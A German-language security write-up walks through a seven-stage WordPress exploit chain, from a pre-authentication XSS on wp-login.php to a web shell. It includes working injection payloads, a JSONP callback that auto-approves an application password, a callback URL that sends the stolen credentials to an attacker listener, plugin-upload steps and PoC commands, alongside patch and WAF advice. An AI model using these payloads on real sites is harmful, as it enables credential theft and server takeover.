Nur von autorisierten Stellen durchzuführende Prüfungen.
Alle nachfolgenden Tests wurden auf einem lokalen Testrechner durchgeführt (WordPress 7.0.2 auf localhost). Wenden Sie diese Techniken nicht auf Systeme an, die Ihnen nicht gehören oder für deren Test Sie keine ausdrückliche Erlaubnis haben.
Zusammenfassung
XSS2Shell ist kein einzelner Fehler – es handelt sich um eine siebenstufige Exploit-Kette, die damit beginnt, dass ein einziges Zeichen (< gefolgt von einem Leerzeichen) zwei verschiedene HTML-Parser auf der Anmeldeseite von WordPress umgeht, und damit endet, dass PHP auf dem Server als www-data ausgeführt wird.
Was macht es gefährlich:
- In Stufe 1 ist keinerlei Authentifizierung erforderlich – jeder kann JavaScript auf
wp-login.phpauslösen. - Die Schwachstelle befindet sich im WordPress-Kern – es handelt sich nicht um ein Plugin; praktisch jede unterstützte Installation seit 2016 ist davon betroffen.
- Es nutzt WordPress-eigenen Code –
user-profile.js, REST JSONP, Anwendungskennwörter, Plugin-Upload – als Widgets. - Eine vollständige RCE wird von WordPress demonstriert und bestätigt – allerdings muss dazu ein angemeldeter Administrator dazu verleitet werden, einmal darauf zu klicken.
Dieser Artikel führt Sie Schritt für Schritt durch die einzelnen Phasen und enthält dabei Screenshots aus unserem hauseigenen Labor.
Die Laborumgebung
git clone <dieses-Repo> cd xss2shell make up # WordPress 7.0.2 auf http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Jede WordPress-Website stellt die Datei „/wp-login.php“ zur Verfügung. Diese Seite ist der Einstiegspunkt für die gesamte Kette.
Stufe 0: Die Abweichung im Parser (Grundursache)
Wenn die Anmeldung fehlschlägt, gibt WordPress den eingegebenen Benutzernamen in einer Fehlermeldung aus. Der Benutzername durchläuft zwei Sanitizer, die sich darüber nicht einig sind, was ein „Tag“ ist:
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Die Nutzlast verwendet ein Leerzeichen nach<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XAuf einer anfälligen WordPress-Version 7.0.2 umgeht dies die Bereinigung und gelangt in das Live-DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
In der gepatchten Version von WordPress 7.0.4 wird dieselbe Nutzlast in der Fehlermeldung HTML-escaped – es sind keine aktiven Elemente enthalten.
Dieser Fehler besteht bereits seit WordPress 4.7 (2016) und wurde bei jahrelangen Sicherheitsüberprüfungen übersehen.
Stufe 1: XSS vor der Authentifizierung (keine Anmeldung erforderlich)
Die eingefügten DOM-Knoten entsprechen den Selektoren, nach denen die WordPress-eigene Datei „user-profile.js“ auf der Anmeldeseite sucht (die im Rahmen des Vorgangs zum Zurücksetzen des Passworts geladen wird):
.reset-pass-submit .wp-generate-pwwird beim Laden der Seite automatisch angeklickt- Der Klick wird an den delegierten Handler
von #color-pickerweitergeleitet - Die Überprüfung
„user_id === checkuser_id“ist erfolgreich, da beidenicht definiertsind. - jQuery sendet eine POST-Anfrage an
„ajaxurl“– aber„ajaxurl“existiert auf der Anmeldeseite gar nicht…
Es sei denn, wir machen es platt:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Das Element <area id=ajaxurl> wird zu window.ajaxurl. jQuery ruft .toString() auf → gibt href zurück. WordPress REST gibt JSONP zurück → jQuery globalEval() → alert()wird auf dem WordPress-Ursprungsserver ausgeführt.

Senden Sie das Formular ab (oder öffnen Sie die Datei „demo/stage1-preauth-xss.html“ und klicken Sie auf „Run Stage 1“):

Auswirkungen allein in dieser Phase: Phishing nach Anmeldedaten auf der echten Domain, Session-Riding, API-Aufrufe derselben Herkunft – ohne jegliche Authentifizierung.
Phase 2: Social Engineering – der Klick des Administrators
In den Stufen 2–7 muss ein angemeldeter Administrator eine vom Angreifer kontrollierte Seite öffnen. Dies ist die Hürde, die den CVSS-Wert unter 10 hält – für gezielte Angriffe ist dies jedoch realistisch.
Der Administrator erhält möglicherweise folgende Meldung: „Ihre Sitzung ist abgelaufen – klicken Sie hier, um sich erneut anzumelden.“

Wenn man darauf klickt, erscheint die Seite des Angreifers:
- Öffnet ein untergeordnetes Popup-Fenster (
about:blank) - Leitet das Hauptfenster zur Autorisierungsseite für das Anwendungskennwort von WordPress weiter
- Schreibt ein XSS-Formular in das untergeordnete Popup-Fenster und sendet es automatisch an
wp-login.phpab

Stufe 3: Ausführung nach der Same-Origin-Methode (SOME) – automatische Genehmigung
Die XSS-Payload des untergeordneten Fensters ändert den JSONP-Callback von „alert“ in:
window.opener.approve.clickWordPress REST verpackt die Antwort:
/**/window.opener.approve.click({...})Die Laufzeit löst folgende Abfolge aus: window.opener (übergeordnetes Fenster) → .approve (die Schaltfläche „#approve“ ) → .click(). Die Schaltfläche „Anwendungskennwort genehmigen“ wird automatisch angeklickt – auf dieser Seite ist keine Benutzerinteraktion erforderlich.

Beachten Sie die Callback-URL auf der Seite: Die Anmeldedaten werden an http://127.0.0.1:9090/callback?...&password=[------] gesendet.
Schritt 4: Erfassung des Anwendungspassworts
WordPress generiert ein neues Anwendungskennwort und leitet den Nutzer mit den Anmeldedaten im Abfrage-String an die „success_url“ des Angreifers weiter:
http://127.0.0.1:9090/callback?site_url=http://localhost:9080&user_login=admin&password=XXXX XXXX XXXX XXXX XXXX XXXXDer Angreifer verfügt nun über die Anmeldedaten für die HTTP-Basic-Authentifizierung für die WordPress-REST-API – aus der Sitzung des Administrators selbst, ohne dass dieser nach dem ersten Klick auf den Link noch etwas eingeben musste.
Schritt 5: Veröffentlichung der vom Angreifer kontrollierten Seite
Mit dem gestohlenen Anwendungskennwort sendet der Angreifer eine POST-Anfrage an /wp-json/wp/v2/pages und veröffentlicht eine Seite mit eingebettetem JavaScript. Administratoren verfügen über die Berechtigung „unfiltered_html“ – Skript-Tags bleiben erhalten.
Schritt 6: Plugin hochladen über die Admin-Sitzung
Das JavaScript des Angreifers (das im Browser des Administrators auf der veröffentlichten Seite ausgeführt wird):
- Ruft
/wp-admin/plugin-install.php?tab=uploadab, um den Upload-Nonce abzurufen - Lädt eine schädliche ZIP-Datei unter
/wp-admin/update.php?action=upload-pluginhoch - WordPress entpackt es in
den Ordner „wp-content/plugins/xss2shell/“
Das Plugin muss nicht aktiviert werden. PHP-Dateien im Plugin-Verzeichnis sind direkt über das Web zugänglich.
Schritt 7: Remote-Codeausführung
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiAntwort:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Der Angreifer führt nun beliebige Befehle als Webserver-Benutzer aus – liest die Datei „wp-config.php“ (Datenbank-Anmeldedaten), erstellt einen Datenbank-Dump und bewegt sich lateral weiter.
Vollständige Ausgabe des PoC-Terminals:

Die gesamte Kette auf einen Blick
Sequenzdiagramm: Teilnehmer A als Angreifer, Server; Teilnehmer V als Opfer, Browser; Teilnehmer W als WordPress 7.0.2. Anmerkung zu V und W: Der Administrator ist angemeldet. V->>A: Öffnet Phishing-Link (1 Klick). A->>V: Angreifer-HTML + untergeordnetes Popup. V->>W: Hauptfenster → „authorize-application.php“ V->>W: Unterfenster sendet XSS-Payload per POST an „wp-login.php“ W->>V: JSONP führt „window.opener.approve.click“ aus Anmerkung zu V, W: „Genehmigen“-Button wird automatisch angeklickt W->>A: Weiterleitung mit Anwendungspasswort A->>W: REST-API-Seite „publish“ (Basic-Auth) V->>W: Admin besucht Seite → lädt Plugin-ZIP hoch V->>W: GET shell.php?cmd=whoami W-->>A: www-dataWie gefährlich ist das wirklich?
Was ist garantiert (hohe Zuverlässigkeit)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Was erfordert zusätzliche Bedingungen (RCE-Pfad)?
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Kalibrierung des Schweregrads
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Fazit: Es handelt sich hierbei nicht um eine „wormable“ Zero-Click-RCE wie Log4Shell. Es ist eine hochkomplexe Sicherheitslücke auf Kernel-Ebene, von der etwa 43 % des Internets betroffen sind, wobei:
- Schon Stufe 1 stellt ein schwerwiegendes XSS-Problem vor der Authentifizierung auf der Anmeldeseite dar.
- Die gesamte Kette führt dazu, dass ein einziger Klick eines Administrators zur Kompromittierung des Servers führt
- Die Grundursache (Parser-Unterschied) gilt für jede Codebasis, die mehrere HTML-Parser verwendet.
In der offiziellen Sicherheitswarnung von WordPress heißt es, dass für eine RCE „Bedingungen außerhalb der Kontrolle des Angreifers“ und „erfolgreiches Social Engineering“ erforderlich sind . Das ist richtig – doch die demonstrierte Angriffskette macht diese Bedingungen mit einem einzigen Link realisierbar.
Die gesamte Kette lokal reproduzieren
# 1. Laborumgebung einrichten # 2. Anwendungspasswörter für HTTP aktivieren (nur im Labor) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. PoC-Listener starten python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Im Browser: # a. Melden Sie sich als Admin unter http://localhost:9080/wp-login.php an # b. Öffnen Sie http://127.0.0.1:9091/phishing-sim.html # c. Klicken Sie auf „Open attacker page“ (Popups zulassen) # d. Warten Sie, bis die Terminalausgabe die Shell und „whoami“ anzeigtVerteidigung
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Der Fix fügt esc_html() zum Benutzernamen im Fehlerpfad der Anmeldung hinzu – wodurch sichergestellt wird, dass die Zeichenfolge als Text behandelt und nicht erneut als HTML geparst wird.
Warum dies für die Sicherheitsforschung von Bedeutung ist
Jedes Glied der Kette ist für sich genommen langweilig:
- Parser-Differenz → Routineaufgabe mit geringem Schweregrad
- Auf der Anmeldeseite wurde das falsche Skript geladen → niedrig
- JSONP-Callback durch regulären Ausdruck validiert → mittelschwer
- Anwendungskennwort in der Weiterleitungs-URL → medium
- Das Plugin-Verzeichnis führt PHP-Code ohne Aktivierung aus → bekanntes Design
Zusammengesetzt ergeben sie einen CVSS-Wert von 8,9 und eine Shell.
Die Erkenntnis: Bei der Bewertung von XSS-Befunden sollte man sich fragen : „Was ist bereits auf dieser Seite geladen, und was passiert, wenn ich ihr die richtigen DOM-Knoten übergebe?“ Der Schweregrad hängt von der Kette ab, nicht vom einzelnen Fehler.

